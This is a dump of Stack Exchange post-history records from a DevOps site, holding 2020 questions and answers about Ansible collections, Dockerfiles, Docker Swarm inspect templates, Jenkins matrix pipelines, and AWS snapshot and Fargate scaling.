  <row Id="37662" PostHistoryTypeId="2" PostId="12250" RevisionGUID="8860bfc0-0de5-487b-bb20-156bbbe91a5d" CreationDate="2020-08-21T01:36:09.977" UserId="323" Text="I'm trying to develop a reusable collection of playbooks that I can run from docker containers.  I don't want to share duplicate code between containers and I don't want to have containers that run multiple playbooks so what I'd like do develop is something where I have a &#xD;&#xA;&#xD;&#xA;```playbooks/doit.yml```&#xD;&#xA;&#xD;&#xA;file and a &#xD;&#xA;&#xD;&#xA;`.ansible/collections/playbooks/x/y/playbooks/thing-to-do.yml` &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;playbook that I can import into my playbook&#xD;&#xA;&#xD;&#xA;However, none of the documentation explains how to do that yet.  &#xD;&#xA;&#xD;&#xA;import playbooks doesn't say anything about collections&#xD;&#xA;&#xD;&#xA;https://docs.ansible.com/ansible/latest/modules/import_playbook_module.html&#xD;&#xA;&#xD;&#xA;and playbooks collection documentation currently says tbd&#xD;&#xA;&#xD;&#xA;https://docs.ansible.com/ansible/latest/dev_guide/developing_collections.html#playbooks-directory&#xD;&#xA;&#xD;&#xA;I'm running ansible 2.9, I suppose I could import the playbook given the full path, but that seems like not what they're wanting me to do. " ContentLicense="CC BY-SA 4.0" />
  <row Id="37663" PostHistoryTypeId="1" PostId="12250" RevisionGUID="8860bfc0-0de5-487b-bb20-156bbbe91a5d" CreationDate="2020-08-21T01:36:09.977" UserId="323" Text="How are ansible playbooks supposed to be imported into a collection?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37664" PostHistoryTypeId="3" PostId="12250" RevisionGUID="8860bfc0-0de5-487b-bb20-156bbbe91a5d" CreationDate="2020-08-21T01:36:09.977" UserId="323" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37668" PostHistoryTypeId="2" PostId="12252" RevisionGUID="9f936414-0455-4723-a6c4-a5b250784b4e" CreationDate="2020-08-21T02:19:27.737" UserId="11221" Text="You should look into affinity and anti-affinity as that allows you to control what pods go on which node. You can have it so that with anti-affinity there is only 1 pod of each deployment on a node. This is a bit overkill and wouldn't work for you exactly though IIRC you can have multiple pods on a node just with a limit.&#xD;&#xA;&#xD;&#xA;https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes-using-node-affinity/" ContentLicense="CC BY-SA 4.0" />
  <row Id="37674" PostHistoryTypeId="2" PostId="12254" RevisionGUID="061e6215-58c4-4763-9ef1-472e64772c78" CreationDate="2020-08-21T16:56:13.603" UserId="6374" Text="&#xD;&#xA;I am using Terraform Cloud to build the infrastructure. One of the resources is a postgresql database.&#xD;&#xA;&#xD;&#xA;What is the best way to populate the database by creating tables, multiple schema etc after the database gets created." ContentLicense="CC BY-SA 4.0" />
  <row Id="37675" PostHistoryTypeId="1" PostId="12254" RevisionGUID="061e6215-58c4-4763-9ef1-472e64772c78" CreationDate="2020-08-21T16:56:13.603" UserId="6374" Text="Populate Database" ContentLicense="CC BY-SA 4.0" />
  <row Id="37676" PostHistoryTypeId="3" PostId="12254" RevisionGUID="061e6215-58c4-4763-9ef1-472e64772c78" CreationDate="2020-08-21T16:56:13.603" UserId="6374" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;&lt;databases&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37677" PostHistoryTypeId="50" PostId="10402" RevisionGUID="5b85e3e4-0ae7-4454-9ec9-aed2cdf5e467" CreationDate="2020-08-21T21:00:20.230" UserId="-1" />
  <row Id="37679" PostHistoryTypeId="2" PostId="12255" RevisionGUID="7fd23934-242e-4409-bb14-879d0f1492e7" CreationDate="2020-08-22T21:42:46.060" UserId="23658" Text="I am trying to create an Image which will run ftp server on centos. Dockerfile content is as below:&#xD;&#xA;&#xD;&#xA;    FROM centos&#xD;&#xA;     &#xD;&#xA;    RUN \&#xD;&#xA;      yum update -y &amp;&amp; \&#xD;&#xA;      yum install vsftpd -y &#xD;&#xA;     &#xD;&#xA;    EXPOSE 21&#xD;&#xA;    CMD vsftpd -DFOREGROUN&#xD;&#xA;&#xD;&#xA;I am running below command :&#xD;&#xA;&#xD;&#xA;    docker build -f webserver .&#xD;&#xA;&#xD;&#xA;which is asking me input as below:&#xD;&#xA;&#xD;&#xA;    Please select the geographic area in which you live. Subsequent configuration&#xD;&#xA;    questions will narrow this down by presenting a list of cities, representing&#xD;&#xA;    the time zones in which they are located.&#xD;&#xA;     &#xD;&#xA;      1. Africa      4. Australia  7. Atlantic  10. Pacific  13. Etc&#xD;&#xA;      2. America     5. Arctic     8. Europe    11. SystemV&#xD;&#xA;      3. Antarctica  6. Asia       9. Indian    12. US&#xD;&#xA;    Geographic area: 9&#xD;&#xA;&#xD;&#xA;once I enter 9 and press enter button, it stuck at the same window. Can you please help me, how should I process this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37680" PostHistoryTypeId="1" PostId="12255" RevisionGUID="7fd23934-242e-4409-bb14-879d0f1492e7" CreationDate="2020-08-22T21:42:46.060" UserId="23658" Text="Unable to build Image as it is asking some input" ContentLicense="CC BY-SA 4.0" />
  <row Id="37681" PostHistoryTypeId="3" PostId="12255" RevisionGUID="7fd23934-242e-4409-bb14-879d0f1492e7" CreationDate="2020-08-22T21:42:46.060" UserId="23658" Text="&lt;docker&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37685" PostHistoryTypeId="2" PostId="12257" RevisionGUID="5bb303ff-af7a-4a78-9b84-9bdf738f51c3" CreationDate="2020-08-23T11:14:08.347" UserId="13379" Text="Have you looked at the [Matrix project plugin](https://plugins.jenkins.io/matrix-project/)?  &#xD;&#xA;&#xD;&#xA;[Welcome to the Matrix](https://www.jenkins.io/blog/2019/11/22/welcome-to-the-matrix/) is an excellent reference doc." ContentLicense="CC BY-SA 4.0" />
  <row Id="37686" PostHistoryTypeId="2" PostId="12258" RevisionGUID="b46642db-1ee9-4bbd-b98b-07602ace1056" CreationDate="2020-08-23T14:04:23.533" UserDisplayName="user23588" Text="The `docker` build process is non-interactive. You have to find a way to make it not ask for anything. The way to do that is by creating the necessary config files and placing them in the correct locations through the `Dockerfile` before installing vsftpd. The questions are there simply for vsftpd to generate a/some configuration file[s] for itself. You create one beforehand and place it correctly using the `copy` command before `run yum install`. If vsftpd finds the valid config file[s], it won't ask for anything anymore. " ContentLicense="CC BY-SA 4.0" />
  <row Id="37689" PostHistoryTypeId="50" PostId="8755" RevisionGUID="e235575d-2fd5-4bb9-95b2-4c0b4ec12c0e" CreationDate="2020-08-23T18:00:00.827" UserId="-1" />
  <row Id="37690" PostHistoryTypeId="5" PostId="12257" RevisionGUID="bd48f586-54b5-4166-b892-218bda6451e2" CreationDate="2020-08-23T23:51:23.853" UserId="13379" Comment="Added exmple" Text="Have you looked at the [Matrix project plugin](https://plugins.jenkins.io/matrix-project/)?  &#xD;&#xA;&#xD;&#xA;&gt; **Multi-Configuration Projects**&#xD;&#xA;&gt; &#xD;&#xA;&gt; A multi-configuration project is useful for instances where your&#xD;&#xA;&gt; builds will make many similar build steps, and you would otherwise be&#xD;&#xA;&gt; duplicating steps.&#xD;&#xA;&gt; &#xD;&#xA;&gt; **Configuration matrix**&#xD;&#xA;&gt; &#xD;&#xA;&gt; The Configuration Matrix allows you to specify what steps to&#xD;&#xA;&gt; duplicate, and create a multiple-axis graph of the type of builds to&#xD;&#xA;&gt; create.&#xD;&#xA;&#xD;&#xA;[Welcome to the Matrix](https://www.jenkins.io/blog/2019/11/22/welcome-to-the-matrix/) is an excellent reference doc.&#xD;&#xA;&#xD;&#xA;Example (from [the blog][1]) - Pipeline for multiple platforms and browsers&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt;     Jenkinsfile&#xD;&#xA;&gt;     &#xD;&#xA;&gt;     pipeline {&#xD;&#xA;&gt;         agent none&#xD;&#xA;&gt;         stages {&#xD;&#xA;&gt;             stage('BuildAndTest') {&#xD;&#xA;&gt;                 matrix {&#xD;&#xA;&gt;                     agent any&#xD;&#xA;&gt;                     axes {&#xD;&#xA;&gt;                         axis {&#xD;&#xA;&gt;                             name 'PLATFORM'&#xD;&#xA;&gt;                             values 'linux', 'windows', 'mac'&#xD;&#xA;&gt;                         }&#xD;&#xA;&gt;                         axis {&#xD;&#xA;&gt;                             name 'BROWSER'&#xD;&#xA;&gt;                             values 'firefox', 'chrome', 'safari', 'edge'&#xD;&#xA;&gt;                         }&#xD;&#xA;&gt;                     }&#xD;&#xA;&gt;                     stages {&#xD;&#xA;&gt;                         stage('Build') {&#xD;&#xA;&gt;                             steps {&#xD;&#xA;&gt;                                 echo &quot;Do Build for ${PLATFORM} - ${BROWSER}&quot;&#xD;&#xA;&gt;                             }&#xD;&#xA;&gt;                         }&#xD;&#xA;&gt;                         stage('Test') {&#xD;&#xA;&gt;                             steps {&#xD;&#xA;&gt;                                 echo &quot;Do Test for ${PLATFORM} - ${BROWSER}&quot;&#xD;&#xA;&gt;                             }&#xD;&#xA;&gt;                         }&#xD;&#xA;&gt;                     }&#xD;&#xA;&gt;                 }&#xD;&#xA;&gt;             }&#xD;&#xA;&gt;         }&#xD;&#xA;&gt;     }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.jenkins.io/blog/2019/11/22/welcome-to-the-matrix/" ContentLicense="CC BY-SA 4.0" />
  <row Id="37691" PostHistoryTypeId="2" PostId="12259" RevisionGUID="efa1b3d1-0614-4dad-a37f-3fa24d20910f" CreationDate="2020-08-24T09:14:13.663" UserId="17276" Text="I know you can create AMIs from a snapshot. &#xD;&#xA;Snapshots are cheaper to store than AMIs&#xD;&#xA;and that AMIs of a stoped instance are cheaper to store than an AMI of a running instance.&#xD;&#xA;with&#xD;&#xA;an AMI of a stoped instance is stored in EBS&#xD;&#xA;and &#xD;&#xA;a snapshot of that AMI is stored in s3 and cheaper?&#xD;&#xA;&#xD;&#xA;I don't however know if there's a charge to create an AMI from a snapshot then destroy it after creating an instance from it?&#xD;&#xA;&#xD;&#xA;I can't see this information in billing management?&#xD;&#xA;&#xD;&#xA;Also if there's any other considerations you can think that would add costs of such as if i wanted to use it for more than just retaining older backups how to create an instance from a snapshot in terraform as that's what I'm using without needing to create an AMI.&#xD;&#xA;&#xD;&#xA;Id like to give this question a discussion tag but can't see one. &#xD;&#xA;I don't know if/how I can do that on stack exchange?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37692" PostHistoryTypeId="1" PostId="12259" RevisionGUID="efa1b3d1-0614-4dad-a37f-3fa24d20910f" CreationDate="2020-08-24T09:14:13.663" UserId="17276" Text="In aws will snapshots be cheeper than AMIs?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37693" PostHistoryTypeId="3" PostId="12259" RevisionGUID="efa1b3d1-0614-4dad-a37f-3fa24d20910f" CreationDate="2020-08-24T09:14:13.663" UserId="17276" Text="&lt;amazon-web-services&gt;&lt;cost-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37694" PostHistoryTypeId="5" PostId="12259" RevisionGUID="e978e602-c65f-4f80-b1aa-ad9cb9c8386e" CreationDate="2020-08-24T09:30:45.640" UserId="354" Comment="Fix grammar." Text="I know you can create AMIs from a snapshot. &#xD;&#xA;Snapshots are cheaper to store than AMIs&#xD;&#xA;and that AMIs of a stopped instance are cheaper to store than an AMI of a running instance.&#xD;&#xA;&#xD;&#xA;Will an AMI of a stopped instance stored in EBS and &#xD;&#xA;a snapshot of that AMI is stored in s3 be cheaper?&#xD;&#xA;&#xD;&#xA;I don't however know if there's a charge to create an AMI from a snapshot then destroy it after creating an instance from it?&#xD;&#xA;&#xD;&#xA;I can't see this information in billing management?&#xD;&#xA;&#xD;&#xA;Also if there's any other considerations you can think that would add costs of such as if I wanted to use it for more than just retaining older backups how to create an instance from a snapshot in terraform as that's what I'm using without needing to create an AMI.&#xD;&#xA;&#xD;&#xA;Note: I'd like to give this question a discussion tag but can't see one. &#xD;&#xA;I don't know if/how I can do that on stack exchange?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37695" PostHistoryTypeId="4" PostId="12259" RevisionGUID="e978e602-c65f-4f80-b1aa-ad9cb9c8386e" CreationDate="2020-08-24T09:30:45.640" UserId="354" Comment="Fix grammar." Text="In aws will snapshots be cheaper than AMIs?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37696" PostHistoryTypeId="2" PostId="12260" RevisionGUID="ebb15f54-9724-46f6-b3ad-17b922502339" CreationDate="2020-08-24T10:18:00.090" UserId="23549" Text="I'm new to devops .&#xD;&#xA;&#xD;&#xA;I created a converter and want to deploy it . The converter converts a 3D model from a format to another and then you'll be able to visualize the outpout file on the platform and then you can download the file if you want to.&#xD;&#xA;&#xD;&#xA;I started by creating a docker container that will read a heavy blob and then output the converted file but figured out that docker is not designed to read local files .&#xD;&#xA;&#xD;&#xA;I'm searching for the right model to host this . Is docker a good solution ? If not , is there other ways to do this ?  &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37697" PostHistoryTypeId="1" PostId="12260" RevisionGUID="ebb15f54-9724-46f6-b3ad-17b922502339" CreationDate="2020-08-24T10:18:00.090" UserId="23549" Text="What is the best way to deploy a short living process when you have no machine?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37698" PostHistoryTypeId="3" PostId="12260" RevisionGUID="ebb15f54-9724-46f6-b3ad-17b922502339" CreationDate="2020-08-24T10:18:00.090" UserId="23549" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37699" PostHistoryTypeId="5" PostId="12260" RevisionGUID="31604a34-7088-4e21-909f-19b43bba71bb" CreationDate="2020-08-24T11:01:21.410" UserId="23549" Comment="added 329 characters in body; edited tags" Text="I'm new to devops .&#xD;&#xA;&#xD;&#xA;I created a converter and want to deploy it . The converter converts a 3D model from a format to another and then you'll be able to visualize the outpout file on the platform and then you can download the file if you want to.&#xD;&#xA;&#xD;&#xA;when bench-marking the process , i found out that for now it runs up to 1 minute when the files are really big , I'm using azure just moved to aws this week . For now the converter converts one file at a time and uses blender's python library and a c++ library ( when trying to use docker i built these inside the container )&#xD;&#xA;&#xD;&#xA;I started by creating a docker container that will read a heavy blob and then output the converted file but figured out that docker is not designed to read local files .&#xD;&#xA;&#xD;&#xA;I'm searching for the right model to host this . Is docker a good solution ? If not , is there other ways to do this ?  &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37700" PostHistoryTypeId="6" PostId="12260" RevisionGUID="31604a34-7088-4e21-909f-19b43bba71bb" CreationDate="2020-08-24T11:01:21.410" UserId="23549" Comment="added 329 characters in body; edited tags" Text="&lt;docker&gt;&lt;performance&gt;&lt;scalability&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37701" PostHistoryTypeId="2" PostId="12261" RevisionGUID="01c8bb16-de08-49cf-8fe1-bf241ed38c6c" CreationDate="2020-08-24T13:07:30.720" UserId="12441" Text="It depends on what you're trying to accomplish but IMO if you're interested in reliably getting your exceptions you probably want something between Elasticsearch and your app - a queueing or logging system of some kind like Kafka or Redis. &#xD;&#xA;&#xD;&#xA;Send your exceptions there and then drain that to Elasticsearch. Otherwise you run the risk of overwhelming ES's ability to accept writes at the very time you need it most (cascading failure, DDOS etc)." ContentLicense="CC BY-SA 4.0" />
  <row Id="37702" PostHistoryTypeId="2" PostId="12262" RevisionGUID="a3aab008-06f6-421e-8a88-a9e561471fde" CreationDate="2020-08-25T08:04:52.613" UserId="23677" Text="I'm trying to fecth the `PublishedPort` from my docker service.&#xD;&#xA;&#xD;&#xA;I think I'm close to fetch it. Here is the data :&#xD;&#xA;&#xD;&#xA;    [&#xD;&#xA;        {&#xD;&#xA;            &quot;ID&quot;: &quot;a51ijaddvaf1paeh1dn5p1k3&quot;,&#xD;&#xA;            &quot;Version&quot;: {&#xD;&#xA;                &quot;Index&quot;: 240&#xD;&#xA;            },&#xD;&#xA;            &quot;CreatedAt&quot;: &quot;2020-08-24T14:41:37.217303114Z&quot;,&#xD;&#xA;            &quot;UpdatedAt&quot;: &quot;2020-08-24T14:41:37.22448218Z&quot;,&#xD;&#xA;            &quot;Spec&quot;: {&#xD;&#xA;                &quot;Name&quot;: &quot;My_app&quot;,&#xD;&#xA;                &quot;Labels&quot;: {},&#xD;&#xA;                &quot;TaskTemplate&quot;: {&#xD;&#xA;                    &quot;ContainerSpec&quot;: {&#xD;&#xA;                        &quot;Image&quot;: &quot;tuxgasy/dolibarr:latest@sha256:a2d6c8e1ed7127c5cb74da2faj41a7a14zger77d4&quot;,&#xD;&#xA;                        &quot;Env&quot;: [&#xD;&#xA;                            &quot;DOLI_DB_HOST=HOST&quot;,&#xD;&#xA;                        ],&#xD;&#xA;                        &quot;Init&quot;: false,&#xD;&#xA;                        &quot;Mounts&quot;: [&#xD;&#xA;                            {&#xD;&#xA;                                &quot;Type&quot;: &quot;volume&quot;,&#xD;&#xA;                                &quot;Source&quot;: &quot;nfsvolume&quot;,&#xD;&#xA;                                &quot;Target&quot;: &quot;/FOLDER&quot;,&#xD;&#xA;                                &quot;VolumeOptions&quot;: {&#xD;&#xA;                                    &quot;DriverConfig&quot;: {&#xD;&#xA;                                        &quot;Name&quot;: &quot;local&quot;,&#xD;&#xA;                                        &quot;Options&quot;: {&#xD;&#xA;                                            &quot;device&quot;: &quot;:/FOLDER&quot;,&#xD;&#xA;                                            &quot;o&quot;: &quot;addr=192.168.0.1&quot;,&#xD;&#xA;                                            &quot;type&quot;: &quot;nfs&quot;&#xD;&#xA;                                        }&#xD;&#xA;                                    }&#xD;&#xA;                                }&#xD;&#xA;                            },&#xD;&#xA;                            {&#xD;&#xA;                                &quot;Type&quot;: &quot;volume&quot;,&#xD;&#xA;                                &quot;Source&quot;: &quot;nfsvolume&quot;,&#xD;&#xA;                                &quot;Target&quot;: &quot;/FOLDER2&quot;,&#xD;&#xA;                                &quot;VolumeOptions&quot;: {&#xD;&#xA;                                    &quot;DriverConfig&quot;: {&#xD;&#xA;                                        &quot;Name&quot;: &quot;local&quot;,&#xD;&#xA;                                        &quot;Options&quot;: {&#xD;&#xA;                                            &quot;device&quot;: &quot;:/FOLDER2&quot;,&#xD;&#xA;                                            &quot;o&quot;: &quot;addr=192.168.0.1&quot;,&#xD;&#xA;                                            &quot;type&quot;: &quot;nfs&quot;&#xD;&#xA;                                        }&#xD;&#xA;                                    }&#xD;&#xA;                                }&#xD;&#xA;                            }&#xD;&#xA;                        ],&#xD;&#xA;                        &quot;StopGracePeriod&quot;: 10000000000,&#xD;&#xA;                        &quot;DNSConfig&quot;: {},&#xD;&#xA;                        &quot;Isolation&quot;: &quot;default&quot;&#xD;&#xA;                    },&#xD;&#xA;                    &quot;Resources&quot;: {&#xD;&#xA;                        &quot;Limits&quot;: {},&#xD;&#xA;                        &quot;Reservations&quot;: {}&#xD;&#xA;                    },&#xD;&#xA;                    &quot;RestartPolicy&quot;: {&#xD;&#xA;                        &quot;Condition&quot;: &quot;any&quot;,&#xD;&#xA;                        &quot;Delay&quot;: 5000000000,&#xD;&#xA;                        &quot;MaxAttempts&quot;: 0&#xD;&#xA;                    },&#xD;&#xA;                    &quot;Placement&quot;: {&#xD;&#xA;                        &quot;Platforms&quot;: [&#xD;&#xA;                            {&#xD;&#xA;                                &quot;Architecture&quot;: &quot;amd64&quot;,&#xD;&#xA;                                &quot;OS&quot;: &quot;linux&quot;&#xD;&#xA;                            }&#xD;&#xA;                        ]&#xD;&#xA;                    },&#xD;&#xA;                    &quot;ForceUpdate&quot;: 0,&#xD;&#xA;                    &quot;Runtime&quot;: &quot;container&quot;&#xD;&#xA;                },&#xD;&#xA;                &quot;Mode&quot;: {&#xD;&#xA;                    &quot;Replicated&quot;: {&#xD;&#xA;                        &quot;Replicas&quot;: 2&#xD;&#xA;                    }&#xD;&#xA;                },&#xD;&#xA;                &quot;UpdateConfig&quot;: {&#xD;&#xA;                    &quot;Parallelism&quot;: 1,&#xD;&#xA;                    &quot;FailureAction&quot;: &quot;pause&quot;,&#xD;&#xA;                    &quot;Monitor&quot;: 5000000000,&#xD;&#xA;                    &quot;MaxFailureRatio&quot;: 0,&#xD;&#xA;                    &quot;Order&quot;: &quot;stop-first&quot;&#xD;&#xA;                },&#xD;&#xA;                &quot;RollbackConfig&quot;: {&#xD;&#xA;                    &quot;Parallelism&quot;: 1,&#xD;&#xA;                    &quot;FailureAction&quot;: &quot;pause&quot;,&#xD;&#xA;                    &quot;Monitor&quot;: 5000000000,&#xD;&#xA;                    &quot;MaxFailureRatio&quot;: 0,&#xD;&#xA;                    &quot;Order&quot;: &quot;stop-first&quot;&#xD;&#xA;                },&#xD;&#xA;                &quot;EndpointSpec&quot;: {&#xD;&#xA;                    &quot;Mode&quot;: &quot;vip&quot;,&#xD;&#xA;                    &quot;Ports&quot;: [&#xD;&#xA;                        {&#xD;&#xA;                            &quot;Protocol&quot;: &quot;tcp&quot;,&#xD;&#xA;                            &quot;TargetPort&quot;: 80,&#xD;&#xA;                            &quot;PublishMode&quot;: &quot;ingress&quot;&#xD;&#xA;                        }&#xD;&#xA;                    ]&#xD;&#xA;                }&#xD;&#xA;            },&#xD;&#xA;            &quot;Endpoint&quot;: {&#xD;&#xA;                &quot;Spec&quot;: {&#xD;&#xA;                    &quot;Mode&quot;: &quot;vip&quot;,&#xD;&#xA;                    &quot;Ports&quot;: [&#xD;&#xA;                        {&#xD;&#xA;                            &quot;Protocol&quot;: &quot;tcp&quot;,&#xD;&#xA;                            &quot;TargetPort&quot;: 80,&#xD;&#xA;                            &quot;PublishMode&quot;: &quot;ingress&quot;&#xD;&#xA;                        }&#xD;&#xA;                    ]&#xD;&#xA;                },&#xD;&#xA;                &quot;Ports&quot;: [&#xD;&#xA;                    {&#xD;&#xA;                        &quot;Protocol&quot;: &quot;tcp&quot;,&#xD;&#xA;                        &quot;TargetPort&quot;: 80,&#xD;&#xA;                        &quot;PublishedPort&quot;: 30001,&#xD;&#xA;                        &quot;PublishMode&quot;: &quot;ingress&quot;&#xD;&#xA;                    }&#xD;&#xA;                ],&#xD;&#xA;                &quot;VirtualIPs&quot;: [&#xD;&#xA;                    {&#xD;&#xA;                        &quot;NetworkID&quot;: &quot;s8hkvdfzer42onr1ez4&quot;,&#xD;&#xA;                        &quot;Addr&quot;: &quot;10.0.0.30/24&quot;&#xD;&#xA;                    }&#xD;&#xA;                ]&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    ]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I'm trying to fetch `PublishedPort`.&#xD;&#xA;&#xD;&#xA;I tried the following:&#xD;&#xA;&#xD;&#xA;    docker service inspect -f '{{with index .Spec.EndpointSpec.Ports 0}}{{.PublishedPort}}{{end}}' My_app&#xD;&#xA;    docker service inspect -f '{{with index .Spec.Endpoint.Spec.Ports 0}}{{.PublishedPort}}{{end}}' My_app&#xD;&#xA;    docker service inspect -f '{{.Spec.EndpointSpec.Ports 0}}{{.PublishedPort}}{{end}}' My_app&#xD;&#xA;    docker service inspect -f '{{with index .Spec.EndpointPorts 0}}{{.PublishedPort}}{{end}}' My_app&#xD;&#xA;    docker service inspect -f '{{with index .Spec.Endpoint.Ports 0}}{{.PublishedPort}}{{end}}' My_app&#xD;&#xA;    docker service inspect --format '{{json .Endpoint.Ports.PublishedPort}}' My_app&#xD;&#xA;    docker service inspect -f '{{with index .EndpointSpec.Ports 0}}{{.PublishedPort}}{{end}}' My_app&#xD;&#xA;    docker service inspect -f '{{with index .Spec.EndpointSpec.Ports 0}}{{.PublishedPort}}{{end}}' My_app&#xD;&#xA;    docker service inspect -f '{{with index .EndpointSpec.Ports 0}}{{.PublishedPort}}{{end}}' My_app&#xD;&#xA;    docker service inspect --format '{{json .Endpoint.Ports 0}}{{.PublishedPort}}' My_app&#xD;&#xA;    docker service inspect --format '{{json .Endpoint.Ports}}{{.PublishedPort}}' My_app&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37703" PostHistoryTypeId="1" PostId="12262" RevisionGUID="a3aab008-06f6-421e-8a88-a9e561471fde" CreationDate="2020-08-25T08:04:52.613" UserId="23677" Text="How to fetch PublishedPort from inspect" ContentLicense="CC BY-SA 4.0" />
  <row Id="37704" PostHistoryTypeId="3" PostId="12262" RevisionGUID="a3aab008-06f6-421e-8a88-a9e561471fde" CreationDate="2020-08-25T08:04:52.613" UserId="23677" Text="&lt;docker&gt;&lt;docker-swarm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37705" PostHistoryTypeId="2" PostId="12263" RevisionGUID="8da93820-ef71-4d94-aa07-3106093ba1bf" CreationDate="2020-08-25T08:17:01.327" UserId="23679" Text="I'm new to Docker, sorry if my question sounds dumb. &#xD;&#xA;below is a dockerfile from a textbook:&#xD;&#xA;```&#xD;&#xA;FROM diamol/base AS build-stage                  &#xD;&#xA;RUN echo 'Building...' &gt; /build.txt              #line 2&#xD;&#xA;&#xD;&#xA;FROM diamol/base AS test-stage&#xD;&#xA;COPY --from=build-stage /build.txt /build.txt&#xD;&#xA;RUN echo 'Testing...' &gt;&gt; /build.txt              #line 6&#xD;&#xA;&#xD;&#xA;FROM diamol/base&#xD;&#xA;COPY --from=test-stage /build.txt /build.txt&#xD;&#xA;CMD cat /build.txt&#xD;&#xA;```&#xD;&#xA;and the author says:&#xD;&#xA;&#xD;&#xA;***The RUN instruction executes a command inside a container during the build, and any output from that command is saved in the image layer.*** &#xD;&#xA;&#xD;&#xA;My question is:&#xD;&#xA;&#xD;&#xA;Since the author mentioned RUN instruction executes a command inside a **container** during the build, does it mean that in the first RUN command in line 2, a contianer is created based on the `diamol/base` image, and this container modify the content of the files then commit the change back to `diamol/base` image, then is container is terminated? and same thing happen in line 6,container created to run and then terminate, image gets updated, is my understanding correct?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37706" PostHistoryTypeId="1" PostId="12263" RevisionGUID="8da93820-ef71-4d94-aa07-3106093ba1bf" CreationDate="2020-08-25T08:17:01.327" UserId="23679" Text="is a running container created by each RUN command during multistage build?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37707" PostHistoryTypeId="3" PostId="12263" RevisionGUID="8da93820-ef71-4d94-aa07-3106093ba1bf" CreationDate="2020-08-25T08:17:01.327" UserId="23679" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37708" PostHistoryTypeId="2" PostId="12264" RevisionGUID="605bc518-f3d3-460c-83ee-0b9a641ab37c" CreationDate="2020-08-25T09:05:45.070" UserId="23680" Text="Yes your understanding is correct. The `RUN &lt;commands&gt;` command in the Dockerfile is somewhat equivalent to &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;container = $(docker run base-image) #1&#xD;&#xA;docker exec base-image commands #2 &#xD;&#xA;docker commit $container #3&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Since images are static, we'll need a running instance/process to execute our command. this is why a container is created from the base image. #1&#xD;&#xA;&#xD;&#xA;After the execution of the command in #2, the changes are committed back #3, which means a new layer is created on top of the previous layers. This layer will contain the changes introduced by the container in (#2)." ContentLicense="CC BY-SA 4.0" />
  <row Id="37709" PostHistoryTypeId="2" PostId="12265" RevisionGUID="476df2b1-b9ff-4a6e-b218-43a262ca3ad1" CreationDate="2020-08-25T09:23:48.047" UserId="23683" Text="For a ECS service with launch type &quot;fargate&quot;, it is possible to configure a load balancer and auto scaling. I don`t understand, how those two types of scaling work in this case, and how they work together.&#xD;&#xA;&#xD;&#xA;**My example**  &#xD;&#xA;I define a task, and set the task size to &quot;0.25 vCPU&quot;. I then configure the service to use a load balancer, and auto scaling. I set the auto scaling to a maximum number of 4 tasks.&#xD;&#xA;&#xD;&#xA;**My questions**  &#xD;&#xA;1. I would expect, that the task is executed with 0.25 vCPU. When the task runs out of CPU, it starts another one, which uses another 0.25 vCPU. This is done until the maximum number of tasks is reached, this means a use and costs of 1vCPU in my example. Is this expectation correct?&#xD;&#xA;2. What is the role of the load balancer? As I understand it, it is just needed for routing and https certfificate. Or does it play a role at scaling, too?&#xD;&#xA;3. When I want to scale container based, then I need an own task definition for every container, right? And an own load balancer for every service? Is it possible to use one load balancer for multiple services?&#xD;&#xA;&#xD;&#xA;In which AWS docs I can read about those topics?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37710" PostHistoryTypeId="1" PostId="12265" RevisionGUID="476df2b1-b9ff-4a6e-b218-43a262ca3ad1" CreationDate="2020-08-25T09:23:48.047" UserId="23683" Text="AWS ECS Fargate, auto scaling and load balancer" ContentLicense="CC BY-SA 4.0" />
  <row Id="37711" PostHistoryTypeId="3" PostId="12265" RevisionGUID="476df2b1-b9ff-4a6e-b218-43a262ca3ad1" CreationDate="2020-08-25T09:23:48.047" UserId="23683" Text="&lt;amazon-web-services&gt;&lt;amazon-ecs&gt;&lt;load-balance&gt;&lt;fargate&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37712" PostHistoryTypeId="2" PostId="12266" RevisionGUID="096424a3-7df6-4c09-86e2-3de9382d094c" CreationDate="2020-08-25T09:26:38.190" UserId="23680" Text="You can run your flask container using the host networking mode. This way docker won't isolate the container and will run it the same network namespace as the host, and you container will be able to discover your database. &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;docker run --network host &lt;flask-image&gt;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
